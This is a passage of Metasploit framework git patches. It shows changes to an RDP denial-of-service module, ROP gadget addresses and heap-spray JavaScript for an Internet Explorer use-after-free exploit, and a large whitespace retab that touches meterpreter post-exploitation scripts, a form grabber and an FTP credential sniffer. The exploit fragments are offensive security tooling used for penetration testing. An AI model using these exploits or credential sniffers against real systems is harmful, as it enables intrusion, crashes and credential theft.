gadgets[:target] = 0x30280f5c + # 0x3aac0020-0xc4, pointer to gadgets[:call_eax] + gadgets[:target] = 0x3aabff5c # mov eax, [esi] # push esi From f1ab7b51b1c7bef02d1fc094ba591a03303bef10 Mon Sep 17 00:00:00 2001 From: darknight007 <waqas.bsquare@gmail.com> Date: Mon, 30 Sep 2013 13:43:26 +0500 Subject: [PATCH 077/210] Update ms12_020_maxchannelids.rb ms12_020_maxchannelids.rb produces a call stack when the connection is timed out. To reproduct, just run the module against a system having no RDP enabled. --- .../dos/windows/rdp/ms12_020_maxchannelids.rb | 42 +++++++++---------- 1 file changed, 21 insertions(+), 21 deletions(-) diff --git a/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb b/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb index 833bd633cd..e29091c084 100644 --- a/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb +++ b/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb @@ -137,27 +137,27 @@ class Metasploit3 < Msf::Auxiliary "\x03\x00\x00\x09" + # TPKT: version + length "\x02\xF0\x80" + # X.224 "\x21\x80" # T.125 + if is_rdp_up + connect + print_status("#{rhost}:#{rport} - Sending #{self.name}") + sock.put(pkt) + select(nil, nil, nil, 3) + disconnect + print_status("#{rhost}:#{rport} - #{pkt.length.to_s} bytes sent") - connect - print_status("#{rhost}:#{rport} - Sending #{self.name}") - sock.put(pkt) - select(nil, nil, nil, 3) - disconnect - print_status("#{rhost}:#{rport} - #{pkt.length.to_s} bytes sent") - - print_status("#{rhost}:#{rport} - Checking RDP status...") - if not is_rdp_up - print_good("#{rhost}:#{rport} seems down") - report_vuln({ - :host => rhost, - :port => rport, - :name => self.name, - :refs => self.references, - :info => "Module #{self.fullname} successfully crashed the target system via RDP" - }) - else - print_status("#{rhost}:#{rport} is still up") - end + print_status("#{rhost}:#{rport} - Checking RDP status...") + if not is_rdp_up + print_good("#{rhost}:#{rport} seems down") + report_vuln({ + :host => rhost, + :port => rport, + :name => self.name, + :refs => self.references, + :info => "Module #{self.fullname} successfully crashed the target system via RDP" + }) + else + print_status("#{rhost}:#{rport} is still up") + end + end end - end From 9ada96ac5150f3ac2135ef736d64efe770e117a3 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Mon, 30 Sep 2013 11:23:17 -0500 Subject: [PATCH 078/210] Fix sqlmap accidental codepoint See http://www.ruby-doc.org/core-1.9.3/String.html#method-i-3C-3C Apparently, String#<< uses Integer#chr, not Integer#to_s. News to me. Fixed originally by @TsCl in PR #2435, but fixing seperately in order to avoid screwing up his downstream tracking. Note, this isn't a merge, so using Closes tag on the commit message. [Closes #2435] --- modules/auxiliary/scanner/http/sqlmap.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/sqlmap.rb b/modules/auxiliary/scanner/http/sqlmap.rb index e41e8c6b2f..cf4874cd19 100644 --- a/modules/auxiliary/scanner/http/sqlmap.rb +++ b/modules/auxiliary/scanner/http/sqlmap.rb @@ -75,7 +75,7 @@ class Metasploit3 < Msf::Auxiliary sqlmap_url << "://" sqlmap_url << wmap_target_host sqlmap_url << ":" - sqlmap_url << wmap_target_port + sqlmap_url << wmap_target_port.to_s sqlmap_url << "/" sqlmap_url << datastore['PATH'] From ecf4e923e84363540f0e247248e0dd8cd3350180 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 30 Sep 2013 11:57:59 -0500 Subject: [PATCH 079/210] Change the target address for spray 1 --- .../windows/browser/ie_setmousecapture_uaf.rb | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb index 9dd53f9c11..6b6797ed01 100644 --- a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb +++ b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb @@ -200,6 +200,8 @@ class Metasploit3 < Msf::Exploit::Remote gadgets = {} case rop_dll when :office2007 + gadgets[:spray1] = 0x20302020 + # 0x3aac0020-0xc4, pointer to gadgets[:call_eax] gadgets[:target] = 0x3aabff5c @@ -217,9 +219,11 @@ class Metasploit3 < Msf::Exploit::Remote # pop ebp # pop ebx # ret - gadgets[:pivot] = 0x51be4418 + gadgets[:pivot] = 0x51be4418 when :office2010 + gadgets[:spray1] = 0x1a7f0020 + # 0x30200020-0xc4, pointer to gadgets[:call_eax] gadgets[:target] = 0x301fff5c @@ -234,7 +238,7 @@ class Metasploit3 < Msf::Exploit::Remote # mov eax,esi # pop esi # pop ebp # retn 4 - gadgets[:pivot] = 0x51c00e64 + gadgets[:pivot] = 0x51c00e64 end p1 = @@ -250,6 +254,7 @@ class Metasploit3 < Msf::Exploit::Remote gadgets[:call_eax] # MSHTML!CTreeNode::NodeAddRef+0x48 (call eax) ].pack("V*") + js_s1 = Rex::Text::to_unescape([gadgets[:spray1]].pack("V*")) js_p1 = Rex::Text.to_unescape(p1) js_p2 = Rex::Text.to_unescape(p2) @@ -266,7 +271,7 @@ var a = new Array(); function spray() { var obj = ''; for (i=0; i<20; i++) { - if (i==0) { obj += "\\u2020\\u2030"; } + if (i==0) { obj += unescape("#{js_s1}"); } else { obj += "\\u4242\\u4242"; } } obj += "\\u5555"; From d6cd0e5c67cc3ac1fbdbf8b25a4a32e9678da61f Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 30 Sep 2013 13:27:59 -0500 Subject: [PATCH 080/210] Tweak for office 2007 setup --- modules/exploits/windows/browser/ie_setmousecapture_uaf.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb index 6b6797ed01..4e27470dc9 100644 --- a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb +++ b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb @@ -200,10 +200,10 @@ class Metasploit3 < Msf::Exploit::Remote gadgets = {} case rop_dll when :office2007 - gadgets[:spray1] = 0x20302020 + gadgets[:spray1] = 0x1af40020 - # 0x3aac0020-0xc4, pointer to gadgets[:call_eax] - gadgets[:target] = 0x3aabff5c + # 0x31610020-0xc4, pointer to gadgets[:call_eax] + gadgets[:target] = 0x3160ff5c # mov eax, [esi] # push esi @@ -286,6 +286,7 @@ function spray() { sprayHeap({shellcode:s1, maxAllocs:0x300}); var s2 = unescape("#{js_p2}"); sprayHeap({shellcode:s2, maxAllocs:0x300}); + Math.cos(1); } function hit() From c82ed33a953f8b79de43f3478c34b3d8222cdb98 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 30 Sep 2013 13:29:16 -0500 Subject: [PATCH 081/210] Forgot Math.cos() --- modules/exploits/windows/browser/ie_setmousecapture_uaf.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb index 4e27470dc9..7d0c50cb36 100644 --- a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb +++ b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb @@ -286,7 +286,6 @@ function spray() { sprayHeap({shellcode:s1, maxAllocs:0x300}); var s2 = unescape("#{js_p2}"); sprayHeap({shellcode:s2, maxAllocs:0x300}); - Math.cos(1); } function hit() From 4dc88cf60fac7bb92cdf49339c51a9abd06bd061 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Mon, 30 Sep 2013 13:30:31 -0500 Subject: [PATCH 082/210] Expand descriptions for ease of use. --- modules/exploits/windows/ftp/freeftpd_pass.rb | 3 +-- modules/post/windows/gather/resolve_hosts.rb | 2 +- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/ftp/freeftpd_pass.rb b/modules/exploits/windows/ftp/freeftpd_pass.rb index 5adca83102..3915f9ab66 100644 --- a/modules/exploits/windows/ftp/freeftpd_pass.rb +++ b/modules/exploits/windows/ftp/freeftpd_pass.rb @@ -19,8 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote freeFTPd 1.0.10 and below contains an overflow condition that is triggered as user-supplied input is not properly validated when handling a specially crafted PASS command. This may allow a remote attacker to cause a buffer overflow, - resulting in a denial of service or potentially allowing the execution of - arbitrary code. + resulting in a denial of service or allow the execution of arbitrary code. FreeFTPd must have an account set to authorization anonymous user account. }, diff --git a/modules/post/windows/gather/resolve_hosts.rb b/modules/post/windows/gather/resolve_hosts.rb index 7d30a34469..55c2cda5e4 100644 --- a/modules/post/windows/gather/resolve_hosts.rb +++ b/modules/post/windows/gather/resolve_hosts.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Post super( update_info( info, 'Name' => 'Windows Resolve Hosts', 'Description' => %q{ - Resolves hostnames to either IPv4 or IPv6 addresses. + Resolves hostnames to either IPv4 or IPv6 addresses from the perspective of the remote host. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ], From 0ecba377f5766c73a350d127f793a7e4cfa83340 Mon Sep 17 00:00:00 2001 From: Tab Assassin <tabassassin@metasploit.com> Date: Mon, 30 Sep 2013 13:45:34 -0500 Subject: [PATCH 083/210] Avoid retabbing things in .git/ --- tools/dev/retab.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/tools/dev/retab.rb b/tools/dev/retab.rb index 8205ac2495..45323edc20 100755 --- a/tools/dev/retab.rb +++ b/tools/dev/retab.rb @@ -35,6 +35,7 @@ def is_ruby?(fname) end Find.find(dir) do |infile| + next if infile =~ /\.git[\x5c\x2f]/ next unless File.file? infile next unless is_ruby? infile outfile = infile From 2e8d19edcf1dfd3ec71e69a63e1107e4e2b7d883 Mon Sep 17 00:00:00 2001 From: Tab Assassin <tabassassin@metasploit.com> Date: Mon, 30 Sep 2013 13:47:53 -0500 Subject: [PATCH 084/210] Retab all the things (except external/) --- .../capture/http/forms/extractforms.rb | 46 +- data/exploits/capture/http/forms/grabforms.rb | 106 +- data/exploits/psnuffle/ftp.rb | 110 +- data/exploits/psnuffle/imap.rb | 104 +- data/exploits/psnuffle/pop3.rb | 136 +- data/exploits/psnuffle/smb.rb | 356 +- data/exploits/psnuffle/url.rb | 66 +- data/john/run.linux.x64.mmx/genincstats.rb | 96 +- data/john/run.linux.x86.any/genincstats.rb | 96 +- data/john/run.linux.x86.mmx/genincstats.rb | 96 +- data/john/run.linux.x86.sse2/genincstats.rb | 96 +- data/john/run.win32.any/genincstats.rb | 96 +- data/john/run.win32.mmx/genincstats.rb | 96 +- data/john/run.win32.sse2/genincstats.rb | 96 +- data/msfcrawler/basic.rb | 36 +- data/msfcrawler/forms.rb | 76 +- data/msfcrawler/frames.rb | 34 +- data/msfcrawler/image.rb | 36 +- data/msfcrawler/link.rb | 36 +- data/msfcrawler/objects.rb | 36 +- data/msfcrawler/scripts.rb | 36 +- data/sounds/aiff2wav.rb | 4 +- data/sounds/gensounds_mac.rb | 46 +- .../samples/framework/dump_module_info.rb | 22 +- .../samples/framework/encode_file.rb | 14 +- .../samples/framework/enumerate_modules.rb | 2 +- .../framework/run_exploit_using_base.rb | 40 +- .../framework/run_exploit_using_core.rb | 60 +- .../samples/modules/auxiliary/sample.rb | 44 +- .../samples/modules/encoders/sample.rb | 34 +- .../samples/modules/exploits/ie_browser.rb | 216 +- .../samples/modules/exploits/sample.rb | 116 +- documentation/samples/modules/nops/sample.rb | 28 +- .../modules/payloads/singles/sample.rb | 30 +- documentation/samples/modules/post/sample.rb | 38 +- .../samples/pro/msfrpc_pro_discover.rb | 150 +- .../samples/pro/msfrpc_pro_exploit.rb | 152 +- .../samples/pro/msfrpc_pro_import.rb | 78 +- .../samples/pro/msfrpc_pro_nexpose.rb | 108 +- .../samples/pro/msfrpc_pro_report.rb | 130 +- .../scripts/meterpreter_script_template.rb | 28 +- .../samples/scripts/resource_script.rb | 120 +- .../unix/webapp/arkeia_upload_exec.rb | 2 +- msfbinscan | 360 +- msfcli | 1072 ++-- msfconsole | 190 +- msfd | 90 +- msfelfscan | 102 +- msfencode | 360 +- msfmachscan | 88 +- msfpayload | 262 +- msfpescan | 152 +- msfrop | 164 +- msfrpc | 70 +- msfrpcd | 94 +- msfupdate | 318 +- msfvenom | 2 +- plugins/alias.rb | 610 +-- plugins/auto_add_route.rb | 54 +- plugins/db_credcollect.rb | 160 +- plugins/db_tracker.rb | 88 +- plugins/editor.rb | 112 +- plugins/event_tester.rb | 52 +- plugins/ffautoregen.rb | 146 +- plugins/ips_filter.rb | 150 +- plugins/lab.rb | 1124 ++-- plugins/msfd.rb | 246 +- plugins/msgrpc.rb | 164 +- plugins/nessus.rb | 3350 ++++++------ plugins/nexpose.rb | 1308 ++--- plugins/openvas.rb | 1084 ++-- plugins/pcap_log.rb | 306 +- plugins/sample.rb | 132 +- plugins/session_tagger.rb | 56 +- plugins/socket_logger.rb | 136 +- plugins/sounds.rb | 134 +- plugins/thread.rb | 198 +- plugins/token_adduser.rb | 160 +- plugins/token_hunter.rb | 220 +- plugins/wmap.rb | 4542 ++++++++--------- scripts/meterpreter/arp_scanner.rb | 168 +- scripts/meterpreter/autoroute.rb | 256 +- scripts/meterpreter/checkvm.rb | 628 +-- scripts/meterpreter/credcollect.rb | 112 +- scripts/meterpreter/domain_list_gen.rb | 70 +- scripts/meterpreter/dumplinks.rb | 588 +-- scripts/meterpreter/duplicate.rb | 166 +- scripts/meterpreter/enum_chrome.rb | 322 +- scripts/meterpreter/enum_firefox.rb | 454 +- scripts/meterpreter/enum_logged_on_users.rb | 148 +- scripts/meterpreter/enum_powershell_env.rb | 196 +- scripts/meterpreter/enum_putty.rb | 142 +- scripts/meterpreter/enum_shares.rb | 180 +- scripts/meterpreter/enum_vmware.rb | 546 +- scripts/meterpreter/event_manager.rb | 288 +- scripts/meterpreter/file_collector.rb | 122 +- scripts/meterpreter/get_application_list.rb | 90 +- scripts/meterpreter/get_env.rb | 46 +- scripts/meterpreter/get_filezilla_creds.rb | 230 +- scripts/meterpreter/get_local_subnets.rb | 28 +- scripts/meterpreter/get_pidgin_creds.rb | 278 +- scripts/meterpreter/get_valid_community.rb | 76 +- scripts/meterpreter/getcountermeasure.rb | 664 +-- scripts/meterpreter/getgui.rb | 236 +- scripts/meterpreter/gettelnet.rb | 206 +- scripts/meterpreter/getvncpw.rb | 110 +- scripts/meterpreter/hashdump.rb | 416 +- scripts/meterpreter/hostsedit.rb | 126 +- scripts/meterpreter/keylogrecorder.rb | 272 +- scripts/meterpreter/killav.rb | 1182 ++--- scripts/meterpreter/metsvc.rb | 162 +- scripts/meterpreter/migrate.rb | 122 +- scripts/meterpreter/multi_console_command.rb | 74 +- scripts/meterpreter/multi_meter_inject.rb | 160 +- scripts/meterpreter/multicommand.rb | 132 +- scripts/meterpreter/multiscript.rb | 76 +- scripts/meterpreter/netenum.rb | 546 +- scripts/meterpreter/packetrecorder.rb | 272 +- scripts/meterpreter/panda_2007_pavsrv51.rb | 108 +- scripts/meterpreter/persistence.rb | 242 +- scripts/meterpreter/pml_driver_config.rb | 108 +- scripts/meterpreter/powerdump.rb | 66 +- scripts/meterpreter/prefetchtool.rb | 242 +- scripts/meterpreter/process_memdump.rb | 288 +- scripts/meterpreter/remotewinenum.rb | 262 +- scripts/meterpreter/scheduleme.rb | 422 +- scripts/meterpreter/schelevator.rb | 402 +- scripts/meterpreter/schtasksabuse.rb | 228 +- scripts/meterpreter/scraper.rb | 192 +- scripts/meterpreter/screen_unlock.rb | 94 +- scripts/meterpreter/screenspy.rb | 152 +- scripts/meterpreter/search_dwld.rb | 102 +- scripts/meterpreter/service_manager.rb | 296 +- .../service_permissions_escalate.rb | 234 +- scripts/meterpreter/sound_recorder.rb | 108 +- scripts/meterpreter/srt_webdrive_priv.rb | 132 +- scripts/meterpreter/uploadexec.rb | 166 +- .../meterpreter/virtualbox_sysenter_dos.rb | 20 +- scripts/meterpreter/virusscan_bypass.rb | 248 +- scripts/meterpreter/vnc.rb | 198 +- scripts/meterpreter/webcam.rb | 194 +- scripts/meterpreter/win32-sshclient.rb | 470 +- scripts/meterpreter/win32-sshserver.rb | 388 +- scripts/meterpreter/winbf.rb | 254 +- scripts/meterpreter/winenum.rb | 936 ++-- scripts/meterpreter/wmic.rb | 168 +- scripts/shell/spawn_meterpreter.rb | 174 +- spec/factories/mdm/module_details.rb | 10 +- .../abstract_adapter/connection_pool_spec.rb | 326 +- spec/lib/fastlib_spec.rb | 344 +- spec/lib/msf/base/simple/framework_spec.rb | 10 +- spec/lib/msf/core/data_store_spec.rb | 120 +- spec/lib/msf/core/exploit/capture_spec.rb | 60 +- spec/lib/msf/core/exploit/http/client_spec.rb | 306 +- spec/lib/msf/core/exploit/http/server_spec.rb | 114 +- spec/lib/msf/core/module_manager_spec.rb | 2 +- spec/lib/msf/core/modules/error_spec.rb | 162 +- .../msf/core/modules/loader/archive_spec.rb | 406 +- spec/lib/msf/core/modules/loader/base_spec.rb | 2546 ++++----- .../msf/core/modules/loader/directory_spec.rb | 240 +- ...tasploit_class_compatibility_error_spec.rb | 2 +- spec/lib/msf/core/modules/namespace_spec.rb | 410 +- .../version_compatibility_error_spec.rb | 96 +- .../core/options/opt_address_range_spec.rb | 54 +- spec/lib/msf/core/options/opt_address_spec.rb | 20 +- spec/lib/msf/db_manager/export_spec.rb | 160 +- spec/lib/msf/db_manager_spec.rb | 3388 ++++++------ .../ui/command_dispatcher/auxiliary_spec.rb | 26 +- .../msf/ui/command_dispatcher/core_spec.rb | 134 +- spec/lib/msf/ui/command_dispatcher/db_spec.rb | 486 +- .../msf/ui/command_dispatcher/exploit_spec.rb | 34 +- spec/lib/rex/encoding/xor/byte_spec.rb | 2 +- spec/lib/rex/encoding/xor/dword_spec.rb | 2 +- spec/lib/rex/encoding/xor/qword_spec.rb | 2 +- spec/lib/rex/encoding/xor/word_spec.rb | 2 +- spec/lib/rex/file_utils_spec.rb | 88 +- spec/lib/rex/parser/nmap_xml_spec.rb | 48 +- spec/lib/rex/proto/http/client_spec.rb | 358 +- .../rex/random_identifier_generator_spec.rb | 226 +- spec/lib/rex/sslscan/result_spec.rb | 1006 ++-- spec/lib/rex/sslscan/scanner_spec.rb | 160 +- spec/lib/rex/text_spec.rb | 120 +- spec/msfcli_spec.rb | 644 +-- spec/msfvenom_spec.rb | 430 +- spec/spec_helper.rb | 20 +- spec/support/matchers/query_the_database.rb | 178 +- .../shared/contexts/database_cleaner.rb | 58 +- .../support/shared/contexts/msf/db_manager.rb | 32 +- .../contexts/msf/modules/error_attributes.rb | 18 +- .../contexts/msf/modules/loader_base.rb | 18 +- .../shared/contexts/msf/simple/framework.rb | 54 +- spec/support/shared/contexts/msf/ui_driver.rb | 32 +- ..._module_detail_info_module_detail_child.rb | 34 +- .../examples/msf/db_manager/import_msf_xml.rb | 2338 ++++----- .../check_msf_xml_version_with_root_tag.rb | 36 +- .../import_msf_web_element_specialization.rb | 64 +- .../examples/msf/db_manager/migration.rb | 210 +- ..._name_or_mdm_module_target_name_keyword.rb | 76 +- .../mdm_module_ref_name_keyword.rb | 68 +- .../update_all_module_details_refresh.rb | 90 +- .../update_module_details_with_module_type.rb | 38 +- .../examples/msf/module_manager/cache.rb | 916 ++-- .../examples/msf/module_manager/loading.rb | 252 +- .../msf/module_manager/module_paths.rb | 122 +- .../msf/modules/error_subclass_initialize.rb | 40 +- .../loader_archive_read_module_content.rb | 18 +- .../modules/version_compatibility_error.rb | 48 +- .../msf/simple/framework/module_paths.rb | 154 +- spec/support/shared/examples/options.rb | 34 +- spec/support/shared/examples/typed_path.rb | 42 +- spec/support/shared/examples/xor_encoder.rb | 54 +- test/features/steps/common_steps.rb | 40 +- test/features/steps/handler_steps.rb | 14 +- test/features/support/env.rb | 14 +- test/features/support/test_config.rb | 16 +- test/functional/framework/msfconsole_spec.rb | 314 +- .../meterpreter/java_meterpreter_specs.rb | 20 +- .../meterpreter/meterpreter_java_spec.rb | 128 +- .../meterpreter/meterpreter_php_spec.rb | 110 +- .../meterpreter/meterpreter_spec_helper.rb | 96 +- .../meterpreter/meterpreter_specs.rb | 196 +- .../meterpreter/meterpreter_win32_spec.rb | 140 +- .../meterpreter/windows_meterpreter_specs.rb | 72 +- test/hooks/array_to_s.rb | 16 +- test/hooks/string_idx.rb | 18 +- test/lib/module_test.rb | 98 +- test/lib/msf_matchers.rb | 134 +- test/lib/regexr.rb | 166 +- test/modules/auxiliary/test/capture.rb | 76 +- test/modules/auxiliary/test/check.rb | 60 +- test/modules/auxiliary/test/eth_spoof.rb | 68 +- test/modules/auxiliary/test/ftp_data.rb | 120 +- test/modules/auxiliary/test/ip_spoof.rb | 88 +- test/modules/auxiliary/test/recon_passive.rb | 110 +- test/modules/auxiliary/test/scanner_batch.rb | 40 +- test/modules/auxiliary/test/scanner_host.rb | 34 +- test/modules/auxiliary/test/scanner_range.rb | 38 +- test/modules/auxiliary/test/space-check.rb | 12 +- test/modules/exploits/test/aggressive.rb | 178 +- test/modules/exploits/test/check.rb | 58 +- test/modules/exploits/test/cmdweb.rb | 118 +- test/modules/exploits/test/dialup.rb | 74 +- test/modules/exploits/test/egghunter.rb | 132 +- test/modules/exploits/test/exploitme.rb | 208 +- test/modules/exploits/test/java_tester.rb | 70 +- test/modules/exploits/test/kernel.rb | 118 +- test/modules/exploits/test/shell.rb | 74 +- test/modules/post/test/file.rb | 248 +- test/modules/post/test/meterpreter.rb | 530 +- .../post/test/railgun_reverse_lookups.rb | 120 +- test/modules/post/test/registry.rb | 224 +- test/modules/post/test/services.rb | 284 +- test/modules/post/test/unix.rb | 64 +- test/tests/00_create_all_modules_test.rb | 14 +- .../01_all_exploits_have_payloads_test.rb | 20 +- test/tests/test_encoders.rb | 132 +- tools/committer_count.rb | 46 +- tools/convert_31.rb | 46 +- tools/dev/set_binary_encoding.rb | 18 +- tools/exe2vba.rb | 10 +- tools/exe2vbs.rb | 10 +- tools/find_badchars.rb | 150 +- tools/halflm_second.rb | 106 +- tools/hmac_sha1_crack.rb | 66 +- tools/import_webscarab.rb | 214 +- tools/list_interfaces.rb | 90 +- tools/lm2ntcrack.rb | 1574 +++--- tools/metasm_shell.rb | 128 +- tools/module_author.rb | 100 +- tools/module_changelog.rb | 46 +- tools/module_commits.rb | 2 +- tools/module_count.rb | 2 +- tools/module_disclodate.rb | 148 +- tools/module_license.rb | 116 +- tools/module_mixins.rb | 64 +- tools/module_payloads.rb | 10 +- tools/module_ports.rb | 36 +- tools/module_rank.rb | 112 +- tools/module_reference.rb | 108 +- tools/module_targets.rb | 68 +- tools/msf_irb_shell.rb | 2 +- tools/msftidy.rb | 738 +-- tools/nasm_shell.rb | 26 +- tools/pattern_create.rb | 6 +- tools/pattern_offset.rb | 86 +- tools/payload_lengths.rb | 64 +- tools/pdf2xdp.rb | 16 +- tools/psexec.rb | 222 +- tools/reg.rb | 656 +-- tools/verify_datastore.rb | 70 +- tools/vxdigger.rb | 40 +- tools/vxencrypt.rb | 30 +- tools/vxmaster.rb | 218 +- 293 files changed, 32962 insertions(+), 32962 deletions(-) diff --git a/data/exploits/capture/http/forms/extractforms.rb b/data/exploits/capture/http/forms/extractforms.rb index 5602413b13..68d64581cc 100755 --- a/data/exploits/capture/http/forms/extractforms.rb +++ b/data/exploits/capture/http/forms/extractforms.rb @@ -15,8 +15,8 @@ require 'open-uri' require 'timeout' def usage - $stderr.puts "#{$0} [site list] [output-dir]" - exit(0) + $stderr.puts "#{$0} [site list] [output-dir]" + exit(0) end input = ARGV.shift() || usage() @@ -25,32 +25,32 @@ res = "" doc = Hpricot(File.open(input)) doc.search("//form").each do |form| - # Extract the form - res = "<form" - form.attributes.each do |attr| - res << " #{attr[0]}='#{attr[1].gsub("'", "")}'" - end - res << "> " + # Extract the form + res = "<form" + form.attributes.each do |attr| + res << " #{attr[0]}='#{attr[1].gsub("'", "")}'" + end + res << "> " - # Strip out the value - form.search("//input") do |inp| + # Strip out the value + form.search("//input") do |inp| - inp.attributes.keys.each do |ikey| - if (ikey.downcase == "value") - inp[ikey] = "" - next - end + inp.attributes.keys.each do |ikey| + if (ikey.downcase == "value") + inp[ikey] = "" + next + end - if(inp.attributes[ikey] =~ /^http/i) - inp[ikey] = "" - next - end + if(inp.attributes[ikey] =~ /^http/i) + inp[ikey] = "" + next + end - end + end - res << inp.to_html - end - res << "</form>" + res << inp.to_html + end + res << "</form>" end $stdout.puts res diff --git a/data/exploits/capture/http/forms/grabforms.rb b/data/exploits/capture/http/forms/grabforms.rb index 48438163d7..98a6e3400a 100755 --- a/data/exploits/capture/http/forms/grabforms.rb +++ b/data/exploits/capture/http/forms/grabforms.rb @@ -15,72 +15,72 @@ require 'open-uri' require 'timeout' def usage - $stderr.puts "#{$0} [site list] [output-dir]" - exit(0) + $stderr.puts "#{$0} [site list] [output-dir]" + exit(0) end sitelist = ARGV.shift() || usage() output = ARGV.shift() || usage() File.readlines(sitelist).each do |site| - site.strip! - next if site.length == 0 - next if site =~ /^#/ - - out = File.join(output, site + ".txt") - File.unlink(out) if File.exists?(out) - - fd = File.open(out, "a") - + site.strip! + next if site.length == 0 + next if site =~ /^#/ + + out = File.join(output, site + ".txt") + File.unlink(out) if File.exists?(out) + + fd = File.open(out, "a") + - ["", "www."].each do |prefix| - begin - Timeout.timeout(10) do - doc = Hpricot(open("http://#{prefix}#{site}/")) - doc.search("//form").each do |form| + ["", "www."].each do |prefix| + begin + Timeout.timeout(10) do + doc = Hpricot(open("http://#{prefix}#{site}/")) + doc.search("//form").each do |form| - # Extract the form - res = "<form" - form.attributes.each do |attr| - res << " #{attr[0]}='#{attr[1].gsub("'", "")}'" - end - res << "> " + # Extract the form + res = "<form" + form.attributes.each do |attr| + res << " #{attr[0]}='#{attr[1].gsub("'", "")}'" + end + res << "> " - # Strip out the value - form.search("//input") do |inp| + # Strip out the value + form.search("//input") do |inp| - inp.attributes.keys.each do |ikey| - if (ikey.downcase == "value") - inp[ikey] = "" - next - end + inp.attributes.keys.each do |ikey| + if (ikey.downcase == "value") + inp[ikey] = "" + next + end - if(inp.attributes[ikey] =~ /^http/i) - inp[ikey] = "" - next - end + if(inp.attributes[ikey] =~ /^http/i) + inp[ikey] = "" + next + end - end + end - res << inp.to_html - end - res << "</form>" + res << inp.to_html + end + res << "</form>" - fd.write(res) - end - end - break - rescue ::Timeout::Error - $stderr.puts "#{prefix}#{site} timed out" - rescue ::Interrupt - raise $! - rescue ::Exception => e - $stderr.puts "#{prefix}#{site} #{e.class} #{e}" - end - end - - fd.close - - File.unlink(out) if (File.size(out) == 0) + fd.write(res) + end + end + break + rescue ::Timeout::Error + $stderr.puts "#{prefix}#{site} timed out" + rescue ::Interrupt + raise $! + rescue ::Exception => e + $stderr.puts "#{prefix}#{site} #{e.class} #{e}" + end + end + + fd.close + + File.unlink(out) if (File.size(out) == 0) end diff --git a/data/exploits/psnuffle/ftp.rb b/data/exploits/psnuffle/ftp.rb index 5016f14811..d875d316b3 100755 --- a/data/exploits/psnuffle/ftp.rb +++ b/data/exploits/psnuffle/ftp.rb @@ -8,71 +8,71 @@ class SnifferFTP < BaseProtocolParser - def register_sigs - self.sigs = { - :banner => /^(220\s*[^\r\n]+)/i, - :user => /^USER\s+([^\s]+)/i, - :pass => /^PASS\s+([^\s]+)/i, - :login_pass => /^(230\s*[^\n]+)/i, - :login_fail => /^(5\d\d\s*[^\n]+)/i, - :bye => /^221/ - } - end + def register_sigs + self.sigs = { + :banner => /^(220\s*[^\r\n]+)/i, + :user => /^USER\s+([^\s]+)/i, + :pass => /^PASS\s+([^\s]+)/i, + :login_pass => /^(230\s*[^\n]+)/i, + :login_fail => /^(5\d\d\s*[^\n]+)/i, + :bye => /^221/ + } + end - def parse(pkt) - # We want to return immediatly if we do not have a packet which is handled by us - return unless pkt.is_tcp? - return if (pkt.tcp_sport != 21 and pkt.tcp_dport != 21) - s = find_session((pkt.tcp_sport == 21) ? get_session_src(pkt) : get_session_dst(pkt)) - s[:sname] ||= "ftp" + def parse(pkt) + # We want to return immediatly if we do not have a packet which is handled by us + return unless pkt.is_tcp? + return if (pkt.tcp_sport != 21 and pkt.tcp_dport != 21) + s = find_session((pkt.tcp_sport == 21) ? get_session_src(pkt) : get_session_dst(pkt)) + s[:sname] ||= "ftp" - self.sigs.each_key do |k| - # There is only one pattern per run to test - matched = nil - matches = nil + self.sigs.each_key do |k| + # There is only one pattern per run to test + matched = nil + matches = nil - if(pkt.payload =~ self.sigs[k]) - matched = k - matches = $1 - end + if(pkt.payload =~ self.sigs[k]) + matched = k + matches = $1 + end - case matched + case matched - when :login_fail - if(s[:user] and s[:pass]) - report_auth_info(s.merge({:active => false})) - print_status("Failed FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}") + when :login_fail + if(s[:user] and s[:pass]) + report_auth_info(s.merge({:active => false})) + print_status("Failed FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}") - s[:pass] = "" - return - end + s[:pass] = "" + return + end - when :login_pass - if(s[:user] and s[:pass]) - report_auth_info(s) - print_status("Successful FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}") - # Remove it form the session objects so freeup memory - sessions.delete(s[:session]) - return - end + when :login_pass + if(s[:user] and s[:pass]) + report_auth_info(s) + print_status("Successful FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}") + # Remove it form the session objects so freeup memory + sessions.delete(s[:session]) + return + end - when :banner - # Because some ftp server send 